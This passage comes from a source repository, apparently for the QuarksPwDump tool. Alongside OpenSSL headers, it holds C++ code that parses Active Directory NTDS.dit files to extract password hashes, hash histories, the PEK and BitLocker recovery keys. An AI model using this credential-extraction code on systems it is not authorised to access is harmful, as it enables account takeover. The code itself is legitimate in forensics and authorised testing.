and manipulate methods */ 306 | UI_METHOD *UI_create_method(char *name); 307 | void UI_destroy_method(UI_METHOD *ui_method); 308 | int UI_method_set_opener(UI_METHOD *method, int (*opener)(UI *ui)); 309 | int UI_method_set_writer(UI_METHOD *method, int (*writer)(UI *ui, UI_STRING *uis)); 310 | int UI_method_set_flusher(UI_METHOD *method, int (*flusher)(UI *ui)); 311 | int UI_method_set_reader(UI_METHOD *method, int (*reader)(UI *ui, UI_STRING *uis)); 312 | int UI_method_set_closer(UI_METHOD *method, int (*closer)(UI *ui)); 313 | int UI_method_set_prompt_constructor(UI_METHOD *method, char *(*prompt_constructor)(UI* ui, const char* object_desc, const char* object_name)); 314 | int (*UI_method_get_opener(UI_METHOD *method))(UI*); 315 | int (*UI_method_get_writer(UI_METHOD *method))(UI*,UI_STRING*); 316 | int (*UI_method_get_flusher(UI_METHOD *method))(UI*); 317 | int (*UI_method_get_reader(UI_METHOD *method))(UI*,UI_STRING*); 318 | int (*UI_method_get_closer(UI_METHOD *method))(UI*); 319 | char * (*UI_method_get_prompt_constructor(UI_METHOD *method))(UI*, const char*, const char*); 320 | 321 | /* The following functions are helpers for method writers to access relevant 322 | data from a UI_STRING. */ 323 | 324 | /* Return type of the UI_STRING */ 325 | enum UI_string_types UI_get_string_type(UI_STRING *uis); 326 | /* Return input flags of the UI_STRING */ 327 | int UI_get_input_flags(UI_STRING *uis); 328 | /* Return the actual string to output (the prompt, info or error) */ 329 | const char *UI_get0_output_string(UI_STRING *uis); 330 | /* Return the optional action string to output (the boolean promtp instruction) */ 331 | const char *UI_get0_action_string(UI_STRING *uis); 332 | /* Return the result of a prompt */ 333 | const char *UI_get0_result_string(UI_STRING *uis); 334 | /* Return the string to test the result against. Only useful with verifies. */ 335 | const char *UI_get0_test_string(UI_STRING *uis); 336 | /* Return the required minimum size of the result */ 337 | int UI_get_result_minsize(UI_STRING *uis); 338 | /* Return the required maximum size of the result */ 339 | int UI_get_result_maxsize(UI_STRING *uis); 340 | /* Set the result of a UI_STRING. */ 341 | int UI_set_result(UI *ui, UI_STRING *uis, const char *result); 342 | 343 | 344 | /* A couple of popular utility functions */ 345 | int UI_UTIL_read_pw_string(char *buf,int length,const char *prompt,int verify); 346 | int UI_UTIL_read_pw(char *buf,char *buff,int size,const char *prompt,int verify); 347 | 348 | 349 | /* BEGIN ERROR CODES */ 350 | /* The following lines are auto generated by the script mkerr.pl. Any changes 351 | * made after this point may be overwritten when the script is next run. 352 | */ 353 | void ERR_load_UI_strings(void); 354 | 355 | /* Error codes for the UI functions. */ 356 | 357 | /* Function codes. */ 358 | #define UI_F_GENERAL_ALLOCATE_BOOLEAN 108 359 | #define UI_F_GENERAL_ALLOCATE_PROMPT 109 360 | #define UI_F_GENERAL_ALLOCATE_STRING 100 361 | #define UI_F_UI_CTRL 111 362 | #define UI_F_UI_DUP_ERROR_STRING 101 363 | #define UI_F_UI_DUP_INFO_STRING 102 364 | #define UI_F_UI_DUP_INPUT_BOOLEAN 110 365 | #define UI_F_UI_DUP_INPUT_STRING 103 366 | #define UI_F_UI_DUP_VERIFY_STRING 106 367 | #define UI_F_UI_GET0_RESULT 107 368 | #define UI_F_UI_NEW_METHOD 104 369 | #define UI_F_UI_SET_RESULT 105 370 | 371 | /* Reason codes. */ 372 | #define UI_R_COMMON_OK_AND_CANCEL_CHARACTERS 104 373 | #define UI_R_INDEX_TOO_LARGE 102 374 | #define UI_R_INDEX_TOO_SMALL 103 375 | #define UI_R_NO_RESULT_BUFFER 105 376 | #define UI_R_RESULT_TOO_LARGE 100 377 | #define UI_R_RESULT_TOO_SMALL 101 378 | #define UI_R_UNKNOWN_CONTROL_COMMAND 106 379 | 380 | #ifdef __cplusplus 381 | } 382 | #endif 383 | #endif 384 | -------------------------------------------------------------------------------- /src/include/openssl/ui_compat.h: -------------------------------------------------------------------------------- 1 | /* crypto/ui/ui.h -*- mode:C; c-file-style: "eay" -*- */ 2 | /* Written by Richard Levitte (richard@levitte.org) for the OpenSSL 3 | * project 2001. 4 | */ 5 | /* ==================================================================== 6 | * Copyright (c) 2001 The OpenSSL Project. All rights reserved. 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions 10 | * are met: 11 | * 12 | * 1. Redistributions of source code must retain the above copyright 13 | * notice, this list of conditions and the following disclaimer. 14 | * 15 | * 2. Redistributions in binary form must reproduce the above copyright 16 | * notice, this list of conditions and the following disclaimer in 17 | * the documentation and/or other materials provided with the 18 | * distribution. 19 | * 20 | * 3. All advertising materials mentioning features or use of this 21 | * software must display the following acknowledgment: 22 | * "This product includes software developed by the OpenSSL Project 23 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 24 | * 25 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 26 | * endorse or promote products derived from this software without 27 | * prior written permission. For written permission, please contact 28 | * openssl-core@openssl.org. 29 | * 30 | * 5. Products derived from this software may not be called "OpenSSL" 31 | * nor may "OpenSSL" appear in their names without prior written 32 | * permission of the OpenSSL Project. 33 | * 34 | * 6. Redistributions of any form whatsoever must retain the following 35 | * acknowledgment: 36 | * "This product includes software developed by the OpenSSL Project 37 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 38 | * 39 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 40 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 41 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 42 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 43 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 44 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 45 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 46 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 47 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 48 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 49 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 50 | * OF THE POSSIBILITY OF SUCH DAMAGE. 51 | * ==================================================================== 52 | * 53 | * This product includes cryptographic software written by Eric Young 54 | * (eay@cryptsoft.com). This product includes software written by Tim 55 | * Hudson (tjh@cryptsoft.com). 56 | * 57 | */ 58 | 59 | #ifndef HEADER_UI_COMPAT_H 60 | #define HEADER_UI_COMPAT_H 61 | 62 | #include 63 | #include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | /* The following functions were previously part of the DES section, 70 | and are provided here for backward compatibility reasons. */ 71 | 72 | #define des_read_pw_string(b,l,p,v) \ 73 | _ossl_old_des_read_pw_string((b),(l),(p),(v)) 74 | #define des_read_pw(b,bf,s,p,v) \ 75 | _ossl_old_des_read_pw((b),(bf),(s),(p),(v)) 76 | 77 | int _ossl_old_des_read_pw_string(char *buf,int length,const char *prompt,int verify); 78 | int _ossl_old_des_read_pw(char *buf,char *buff,int size,const char *prompt,int verify); 79 | 80 | #ifdef __cplusplus 81 | } 82 | #endif 83 | #endif 84 | -------------------------------------------------------------------------------- /src/lib/libeay32MT.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/quarkspwdump/c351658115aff960b170ac91f61a7324574d9a3d/src/lib/libeay32MT.lib -------------------------------------------------------------------------------- /src/ntdsparser.cpp: -------------------------------------------------------------------------------- 1 | #include "ntdsparser.h" 2 | 3 | 4 | /* 5 | * Print JET engine errors 6 | */ 7 | void NTDS_ErrorPrint(s_parser *parser,LPSTR function,JET_ERR jet_err) { 8 | TCHAR szErrString[1024]; 9 | JET_ERR jetErr = jet_err; 10 | 11 | printf("ERROR : %s() failed with JET_ERR = %d\n",function,jet_err); 12 | 13 | RtlZeroMemory(szErrString,sizeof(szErrString)); 14 | JetGetSystemParameter(parser->instance,parser->sesid,JET_paramErrorToString,(JET_API_PTR *)&jetErr,szErrString,sizeof(szErrString)); 15 | printf("Details : %s\n",szErrString); 16 | } 17 | 18 | 19 | /* 20 | * Intialize JET engine for NTDS files 21 | * (page_size=8192, no recovery) 22 | */ 23 | BOOL NTDS_ParserInit(s_parser *parser) { 24 | RtlZeroMemory(parser,sizeof(s_parser)); 25 | 26 | if(JetSetSystemParameter(&parser->instance,JET_sesidNil,JET_paramDatabasePageSize,8192,NULL)!=JET_errSuccess) 27 | return FALSE; 28 | 29 | if(JetCreateInstance(&parser->instance,APP_JET_INSTANCE_STR)!=JET_errSuccess) 30 | return FALSE; 31 | 32 | if(JetSetSystemParameter(&parser->instance,JET_sesidNil,JET_paramRecovery,NULL,"Off")!=JET_errSuccess) 33 | return FALSE; 34 | 35 | if(JetInit(&parser->instance)!=JET_errSuccess) 36 | return FALSE; 37 | 38 | return TRUE; 39 | } 40 | 41 | 42 | /* 43 | * Close JET engine API 44 | */ 45 | BOOL NTDS_ParserClose(s_parser *parser) { 46 | if(!parser) 47 | return FALSE; 48 | 49 | return JetTerm(parser->instance)==JET_errSuccess; 50 | } 51 | 52 | 53 | /* 54 | * Open database from file 55 | */ 56 | BOOL NTDS_OpenDatabase(s_parser *parser,LPCSTR szNtdsPath) { 57 | JET_DBID dbID = JET_dbidNil; 58 | TCHAR szConnect[256]; 59 | JET_ERR jet_err; 60 | 61 | lstrcpyn(parser->parsed_filename,szNtdsPath,sizeof(parser->parsed_filename)-1); 62 | 63 | jet_err = JetBeginSession(parser->instance,&parser->sesid,NULL,NULL); 64 | if(jet_err!=JET_errSuccess) { 65 | NTDS_ErrorPrint(parser,"JetBeginSession",jet_err); 66 | JetEndSession(parser->sesid,0); 67 | return FALSE; 68 | } 69 | 70 | jet_err = JetAttachDatabase(parser->sesid,parser->parsed_filename,JET_bitDbReadOnly); 71 | if(jet_err!=JET_errSuccess) { 72 | NTDS_ErrorPrint(parser,"JetAttachDatabase",jet_err); 73 | JetEndSession(parser->sesid,0); 74 | return FALSE; 75 | } 76 | 77 | jet_err = JetOpenDatabase(parser->sesid,parser->parsed_filename,szConnect,&parser->dbid,JET_bitDbReadOnly); 78 | if(jet_err!=JET_errSuccess) { 79 | NTDS_ErrorPrint(parser,"JetOpenDatabase",jet_err); 80 | JetEndSession(parser->sesid,0); 81 | return FALSE; 82 | } 83 | 84 | return TRUE; 85 | } 86 | 87 | 88 | /* 89 | * Close a previously opened database 90 | */ 91 | BOOL NTDS_CloseDatabase(s_parser *parser) { 92 | JET_ERR jet_err; 93 | 94 | jet_err = JetCloseDatabase(parser->sesid,parser->dbid,0); 95 | if(jet_err!=JET_errSuccess) { 96 | NTDS_ErrorPrint(parser,"JetCloseDatabase",jet_err); 97 | return FALSE; 98 | } 99 | 100 | jet_err = JetDetachDatabase(parser->sesid,parser->parsed_filename); 101 | if(jet_err!=JET_errSuccess) { 102 | NTDS_ErrorPrint(parser,"JetDetachDatabase",jet_err); 103 | return FALSE; 104 | } 105 | 106 | jet_err = JetEndSession(parser->sesid,0); 107 | if(jet_err!=JET_errSuccess) { 108 | NTDS_ErrorPrint(parser,"JetEndSession",jet_err); 109 | return FALSE; 110 | } 111 | 112 | return TRUE; 113 | } 114 | 115 | 116 | /* 117 | * Get specific column id content 118 | * Return value size only if val is NULL 119 | */ 120 | JET_ERR NTDS_GetRecord(s_parser *parser,JET_TABLEID tableid,JET_COLUMNID columnid,LPBYTE val,ULONG *val_size) { 121 | JET_ERR jet_err; 122 | 123 | if(val) 124 | RtlZeroMemory(val,*val_size); 125 | 126 | jet_err = JetRetrieveColumn(parser->sesid,tableid,columnid,NULL,0,val_size,0,NULL); 127 | if(!val) 128 | return JET_errSuccess; 129 | 130 | if((*val_size) && jet_err != JET_errSuccess) { 131 | jet_err = JetRetrieveColumn(parser->sesid,tableid,columnid,val,*val_size,val_size,0,NULL); 132 | } 133 | 134 | return jet_err; 135 | } 136 | 137 | 138 | /* 139 | * Try to parse object at current cursor position 140 | * Returns: 141 | * NTDS_BAD_RECORD if record is not a user account or computer 142 | * NTDS_MEM_ERROR if memory allocation errors 143 | */ 144 | int NTDS_NTLM_ParseSAMRecord(s_parser *parser,JET_TABLEID tableid,s_ldapAccountInfo *ldapAccountEntry,BOOL with_history) { 145 | unsigned long attributeSize; 146 | BYTE attributeVal[1024]; 147 | JET_ERR jet_err; 148 | 149 | RtlZeroMemory(ldapAccountEntry,sizeof(s_ldapAccountInfo)); 150 | 151 | /* Browse per sam account type */ 152 | attributeSize = sizeof(attributeVal); 153 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_SAM_ACCOUNT_TYPE].columnid,attributeVal,&attributeSize); 154 | if((jet_err==JET_errSuccess)&&(attributeSize==sizeof(ldapAccountEntry->szSAMAccountType))) { 155 | ldapAccountEntry->szSAMAccountType = *(LPDWORD)attributeVal; 156 | } 157 | else 158 | return NTDS_BAD_RECORD; 159 | 160 | if((ldapAccountEntry->szSAMAccountType != SAM_USER_OBJECT) && 161 | (ldapAccountEntry->szSAMAccountType != SAM_MACHINE_ACCOUNT) && 162 | (ldapAccountEntry->szSAMAccountType != SAM_TRUST_ACCOUNT)){ 163 | return NTDS_BAD_RECORD; 164 | } 165 | 166 | /* Get SAM account name */ 167 | attributeSize = sizeof(attributeVal); 168 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_SAM_ACCOUNT_NAME].columnid,attributeVal,&attributeSize); 169 | if((!attributeSize) || (jet_err!=JET_errSuccess)) 170 | return NTDS_BAD_RECORD; 171 | 172 | lstrcpyW(ldapAccountEntry->szSAMAccountName,(LPWSTR)attributeVal); 173 | 174 | 175 | /* Get LM hash */ 176 | attributeSize = sizeof(attributeVal); 177 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_LM_HASH].columnid,attributeVal,&attributeSize); 178 | if((jet_err==JET_errSuccess)&&(attributeSize==sizeof(s_NTLM_hash_ciphered))) { 179 | RtlMoveMemory(&ldapAccountEntry->LM_hash_ciphered,attributeVal,sizeof(s_NTLM_hash_ciphered)); 180 | ldapAccountEntry->NTLM_hash.hash_type = LM_HASH; 181 | } 182 | else { 183 | ldapAccountEntry->NTLM_hash.hash_type = NT_NO_HASH; 184 | } 185 | 186 | /* Get NT hash */ 187 | attributeSize = sizeof(attributeVal); 188 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_NT_HASH].columnid,attributeVal,&attributeSize); 189 | if((jet_err==JET_errSuccess)&&(attributeSize==sizeof(s_NTLM_hash_ciphered))) { 190 | RtlMoveMemory(&ldapAccountEntry->NT_hash_ciphered,attributeVal,sizeof(s_NTLM_hash_ciphered)); 191 | if(ldapAccountEntry->NTLM_hash.hash_type != LM_HASH) 192 | ldapAccountEntry->NTLM_hash.hash_type = NT_HASH; 193 | } 194 | 195 | if(with_history) { 196 | /* Get LM hash history */ 197 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_LM_HASH_HISTORY].columnid,NULL,&attributeSize); 198 | if(jet_err==JET_errSuccess && attributeSize) { 199 | ldapAccountEntry->LM_history_ciphered = (LPBYTE)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 200 | ldapAccountEntry->LM_history_deciphered = (LPBYTE)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 201 | if(!ldapAccountEntry->LM_history_ciphered || !ldapAccountEntry->LM_history_deciphered) 202 | return NTDS_MEM_ERROR; 203 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_LM_HASH_HISTORY].columnid,ldapAccountEntry->LM_history_ciphered,&attributeSize); 204 | if(jet_err != JET_errSuccess) 205 | return NTDS_API_ERROR; 206 | ldapAccountEntry->LM_history_ciphered_size = attributeSize; 207 | } 208 | 209 | /* Get NT hash history */ 210 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_NT_HASH_HISTORY].columnid,NULL,&attributeSize); 211 | if(jet_err==JET_errSuccess && attributeSize) { 212 | ldapAccountEntry->NT_history_ciphered = (LPBYTE)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 213 | ldapAccountEntry->NT_history_deciphered = (LPBYTE)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 214 | if(!ldapAccountEntry->NT_history_ciphered || !ldapAccountEntry->NT_history_deciphered) 215 | return NTDS_MEM_ERROR; 216 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_NT_HASH_HISTORY].columnid,ldapAccountEntry->NT_history_ciphered,&attributeSize); 217 | if(jet_err != JET_errSuccess) 218 | return NTDS_API_ERROR; 219 | } 220 | 221 | if(ldapAccountEntry->LM_history_ciphered && ldapAccountEntry->NT_history_ciphered) { 222 | ldapAccountEntry->nbHistoryEntries = (attributeSize - 24) / WIN_NTLM_HASH_SIZE; 223 | if(!(ldapAccountEntry->NTLM_hash_history = (s_NTLM_Hash *)VirtualAlloc(NULL,ldapAccountEntry->nbHistoryEntries*sizeof(s_NTLM_Hash),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) 224 | return NTDS_MEM_ERROR; 225 | ldapAccountEntry->NT_history_ciphered_size = attributeSize; 226 | } 227 | } 228 | 229 | /* Get Sid */ 230 | attributeSize = sizeof(attributeVal); 231 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_OBJECT_SID].columnid,attributeVal,&attributeSize); 232 | if(jet_err==JET_errSuccess) { 233 | ldapAccountEntry->sid = (PSID)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 234 | if(!ldapAccountEntry->sid) 235 | return NTDS_MEM_ERROR; 236 | RtlMoveMemory(ldapAccountEntry->sid,attributeVal,attributeSize-sizeof(ldapAccountEntry->rid)); 237 | ldapAccountEntry->rid = BSWAP(*LPDWORD(attributeVal+attributeSize-sizeof(ldapAccountEntry->rid))); 238 | *LPDWORD((LPBYTE)ldapAccountEntry->sid+attributeSize-sizeof(ldapAccountEntry->rid))= ldapAccountEntry->rid; 239 | } 240 | else 241 | return NTDS_BAD_RECORD; 242 | 243 | return NTDS_SUCCESS; 244 | } 245 | 246 | 247 | /* 248 | * Try to parse a PEK object at current cursor position 249 | * Returns: 250 | * NTDS_BAD_RECORD if record is not a PEK 251 | */ 252 | int NTDS_NTLM_ParsePEKRecord(s_parser *parser,JET_TABLEID tableid,s_NTLM_pek_ciphered *pek_ciphered) { 253 | unsigned long attributeSize; 254 | BYTE attributeVal[1024]; 255 | JET_ERR jet_err; 256 | 257 | RtlZeroMemory(pek_ciphered,sizeof(s_NTLM_pek_ciphered)); 258 | attributeSize = sizeof(attributeVal); 259 | 260 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_PEK].columnid,attributeVal,&attributeSize); 261 | if((attributeSize!=sizeof(s_NTLM_pek_ciphered)) || (jet_err!=JET_errSuccess)) 262 | return NTDS_BAD_RECORD; 263 | 264 | RtlMoveMemory(pek_ciphered,attributeVal,sizeof(s_NTLM_pek_ciphered)); 265 | 266 | return NTDS_SUCCESS; 267 | } 268 | 269 | 270 | /* 271 | * Parse NTDS.dit file and its "datatable" table 272 | * Lokk for PEK, SAM account name & type, hashes, SID and hashes history if asked 273 | */ 274 | BOOL NTDS_NTLM_ParseDatabase(s_parser *parser,ll_ldapAccountInfo *ldapAccountInfo,s_NTLM_pek_ciphered *pek_ciphered,BOOL with_history){ 275 | s_ldapAccountInfo ldapAccountEntry; 276 | JET_TABLEID tableid; 277 | JET_ERR jet_err; 278 | int success = NTDS_SUCCESS; 279 | int retCode; 280 | 281 | jet_err = JetOpenTable(parser->sesid,parser->dbid,NTDS_TBL_OBJ,NULL,0,JET_bitTableReadOnly | JET_bitTableSequential,&tableid); 282 | if(jet_err!=JET_errSuccess) { 283 | NTDS_ErrorPrint(parser,"JetOpenTable",jet_err); 284 | return NTDS_API_ERROR; 285 | } 286 | 287 | /* Get attributes identifiers */ 288 | jet_err = JetGetTableColumnInfo(parser->sesid,tableid,ATT_SAM_ACCOUNT_NAME,&parser->columndef[ID_SAM_ACCOUNT_NAME],sizeof(JET_COLUMNDEF),JET_ColInfo); 289 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_OBJECT_SID,&parser->columndef[ID_OBJECT_SID],sizeof(JET_COLUMNDEF),JET_ColInfo); 290 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_LM_HASH,&parser->columndef[ID_LM_HASH],sizeof(JET_COLUMNDEF),JET_ColInfo); 291 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_NT_HASH,&parser->columndef[ID_NT_HASH],sizeof(JET_COLUMNDEF),JET_ColInfo); 292 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_PEK,&parser->columndef[ID_PEK],sizeof(JET_COLUMNDEF),JET_ColInfo); 293 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_SAM_ACCOUNT_TYPE,&parser->columndef[ID_SAM_ACCOUNT_TYPE],sizeof(JET_COLUMNDEF),JET_ColInfo); 294 | 295 | if(with_history) { 296 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_LM_HASH_HISTORY,&parser->columndef[ID_LM_HASH_HISTORY],sizeof(JET_COLUMNDEF),JET_ColInfo); 297 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_NT_HASH_HISTORY,&parser->columndef[ID_NT_HASH_HISTORY],sizeof(JET_COLUMNDEF),JET_ColInfo); 298 | } 299 | 300 | if(jet_err!=JET_errSuccess) { 301 | NTDS_ErrorPrint(parser,"JetGetTableColumnInfo ",jet_err); 302 | JetCloseTable(parser->sesid,tableid); 303 | return NTDS_API_ERROR; 304 | } 305 | 306 | /* Parse datatable for SAM accounts */ 307 | jet_err = JetMove(parser->sesid,tableid,JET_MoveFirst,0); 308 | do{ 309 | retCode = NTDS_NTLM_ParseSAMRecord(parser,tableid,&ldapAccountEntry,with_history); 310 | if(retCode==NTDS_SUCCESS) { 311 | if(!ldapAccountInfoNew(ldapAccountInfo,&ldapAccountEntry)) { 312 | puts("Fatal error: not enough memory!"); 313 | return NTDS_MEM_ERROR; 314 | } 315 | } 316 | else if(retCode==NTDS_MEM_ERROR) { 317 | puts("Fatal error: not enough memory!"); 318 | return retCode; 319 | } 320 | 321 | }while(JetMove(parser->sesid,tableid,JET_MoveNext,0) == JET_errSuccess); 322 | 323 | if(!*ldapAccountInfo) 324 | success = NTDS_EMPTY_ERROR; 325 | 326 | /* Parse datatable for ciphered PEK */ 327 | jet_err = JetMove(parser->sesid,tableid,JET_MoveFirst,0); 328 | do{ 329 | if(NTDS_NTLM_ParsePEKRecord(parser,tableid,pek_ciphered)==NTDS_SUCCESS) { 330 | success = NTDS_SUCCESS; 331 | break; 332 | } 333 | }while(JetMove(parser->sesid,tableid,JET_MoveNext,0) == JET_errSuccess); 334 | 335 | jet_err = JetCloseTable(parser->sesid,tableid); 336 | if(jet_err!=JET_errSuccess) { 337 | NTDS_ErrorPrint(parser,"JetCloseTable",jet_err); 338 | return NTDS_API_ERROR; 339 | } 340 | 341 | return success; 342 | } 343 | 344 | 345 | /* 346 | * Try to parse a bitlocker record 347 | * Parsing is done through Volume GUID (TO DO: per machine name) 348 | */ 349 | int NTDS_Bitlocker_ParseRecord(s_parser *parser,JET_TABLEID tableid,s_bitlockerAccountInfo *bitlockerAccountEntry) { 350 | unsigned long attributeSize; 351 | BYTE attributeVal[2048]; 352 | JET_ERR jet_err; 353 | 354 | RtlZeroMemory(bitlockerAccountEntry,sizeof(s_bitlockerAccountInfo)); 355 | 356 | 357 | /* Parse per Volume GUID */ 358 | attributeSize = sizeof(attributeVal); 359 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_MSFVE_VOLUME_GUID].columnid,attributeVal,&attributeSize); 360 | if((!attributeSize) || (jet_err!=JET_errSuccess) || (attributeSize!=sizeof(bitlockerAccountEntry->msFVE_VolumeGUID))) 361 | return NTDS_BAD_RECORD; 362 | 363 | RtlMoveMemory(&bitlockerAccountEntry->msFVE_VolumeGUID,attributeVal,attributeSize); 364 | 365 | /* Get recovery GUID */ 366 | attributeSize = sizeof(attributeVal); 367 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_MSFVE_RECOVERY_GUID].columnid,attributeVal,&attributeSize); 368 | if((jet_err==JET_errSuccess) && (attributeSize==sizeof(bitlockerAccountEntry->msFVE_RecoveryGUID))) { 369 | RtlMoveMemory(&bitlockerAccountEntry->msFVE_RecoveryGUID,attributeVal,attributeSize); 370 | } 371 | 372 | /* Get recovery password */ 373 | attributeSize = sizeof(attributeVal); 374 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_MSFVE_RECOVERY_PASSWORD].columnid,attributeVal,&attributeSize); 375 | if((jet_err==JET_errSuccess)&& (attributeSize==(sizeof(bitlockerAccountEntry->msFVE_RecoveryPassword)-2))) { 376 | RtlMoveMemory(&bitlockerAccountEntry->msFVE_RecoveryPassword,attributeVal,attributeSize); 377 | } 378 | 379 | /* Get key package*/ 380 | attributeSize = sizeof(attributeVal); 381 | jet_err = NTDS_GetRecord(parser,tableid,parser->columndef[ID_MSFVE_KEY_PACKAGE].columnid,attributeVal,&attributeSize); 382 | if((jet_err==JET_errSuccess) && attributeSize) { 383 | bitlockerAccountEntry->msFVE_KeyPackage = (LPBYTE)VirtualAlloc(NULL,attributeSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 384 | if(!bitlockerAccountEntry->msFVE_KeyPackage) 385 | return NTDS_MEM_ERROR; 386 | RtlMoveMemory(bitlockerAccountEntry->msFVE_KeyPackage,attributeVal,attributeSize); 387 | bitlockerAccountEntry->dwSzKeyPackage = attributeSize; 388 | } 389 | 390 | return NTDS_SUCCESS; 391 | } 392 | 393 | 394 | /* 395 | * Parse NTDS file database and extract bitlocker related attributes 396 | * (Key package, recovery password, recovery guid, volume id) 397 | */ 398 | int NTDS_Bitlocker_ParseDatabase(s_parser *parser,ll_bitlockerAccountInfo *bitlockerAccountInfo) { 399 | s_bitlockerAccountInfo bitlockerAccountEntry; 400 | JET_TABLEID tableid; 401 | JET_ERR jet_err; 402 | int success = NTDS_SUCCESS; 403 | int retCode; 404 | 405 | jet_err = JetOpenTable(parser->sesid,parser->dbid,NTDS_TBL_OBJ,NULL,0,JET_bitTableReadOnly | JET_bitTableSequential,&tableid); 406 | if(jet_err!=JET_errSuccess) { 407 | NTDS_ErrorPrint(parser,"JetOpenTable",jet_err); 408 | return NTDS_API_ERROR; 409 | } 410 | 411 | /* Get attributes identifiers */ 412 | jet_err = JetGetTableColumnInfo(parser->sesid,tableid,ATT_BITLOCKER_MSFVE_KEY_PACKAGE,&parser->columndef[ID_MSFVE_KEY_PACKAGE],sizeof(JET_COLUMNDEF),JET_ColInfo); 413 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_BITLOCKER_MSFVE_RECOVERY_GUID,&parser->columndef[ID_MSFVE_RECOVERY_GUID],sizeof(JET_COLUMNDEF),JET_ColInfo); 414 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_BITLOCKER_MSFVE_RECOVERY_PASSWORD,&parser->columndef[ID_MSFVE_RECOVERY_PASSWORD],sizeof(JET_COLUMNDEF),JET_ColInfo); 415 | jet_err |= JetGetTableColumnInfo(parser->sesid,tableid,ATT_BITLOCKER_MSFVE_VOLUME_GUID,&parser->columndef[ID_MSFVE_VOLUME_GUID],sizeof(JET_COLUMNDEF),JET_ColInfo); 416 | 417 | if(jet_err!=JET_errSuccess) { 418 | NTDS_ErrorPrint(parser,"JetGetTableColumnInfo ",jet_err); 419 | JetCloseTable(parser->sesid,tableid); 420 | return NTDS_API_ERROR; 421 | } 422 | 423 | /* Parse datatable for Bitlocker accounts */ 424 | jet_err = JetMove(parser->sesid,tableid,JET_MoveFirst,0); 425 | do{ 426 | retCode = NTDS_Bitlocker_ParseRecord(parser,tableid,&bitlockerAccountEntry); 427 | if(retCode==NTDS_SUCCESS) { 428 | if(!bitlockerAccountInfoNew(bitlockerAccountInfo,&bitlockerAccountEntry)) { 429 | puts("Fatal error: not enough memory!"); 430 | return NTDS_MEM_ERROR; 431 | } 432 | } 433 | else if(retCode==NTDS_MEM_ERROR) { 434 | puts("Fatal error: not enough memory!"); 435 | return retCode; 436 | } 437 | }while(JetMove(parser->sesid,tableid,JET_MoveNext,0) == JET_errSuccess); 438 | 439 | if(!*bitlockerAccountInfo) 440 | success = NTDS_EMPTY_ERROR; 441 | 442 | jet_err = JetCloseTable(parser->sesid,tableid); 443 | if(jet_err!=JET_errSuccess) { 444 | NTDS_ErrorPrint(parser,"JetCloseTable",jet_err); 445 | return NTDS_API_ERROR; 446 | } 447 | 448 | return success; 449 | } 450 | -------------------------------------------------------------------------------- /src/ntdsparser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "crypt.h" 5 | #include "globals.h" 6 | 7 | /* NTDS obejcts table */ 8 | #define NTDS_TBL_OBJ "datatable" 9 | 10 | 11 | /* NTDS interesting account attributes */ 12 | #define ATT_SAM_ACCOUNT_NAME "ATTm590045" 13 | #define ATT_SAM_ACCOUNT_TYPE "ATTj590126" 14 | #define ATT_OBJECT_SID "ATTr589970" 15 | #define ATT_LM_HASH "ATTk589879" 16 | #define ATT_NT_HASH "ATTk589914" 17 | #define 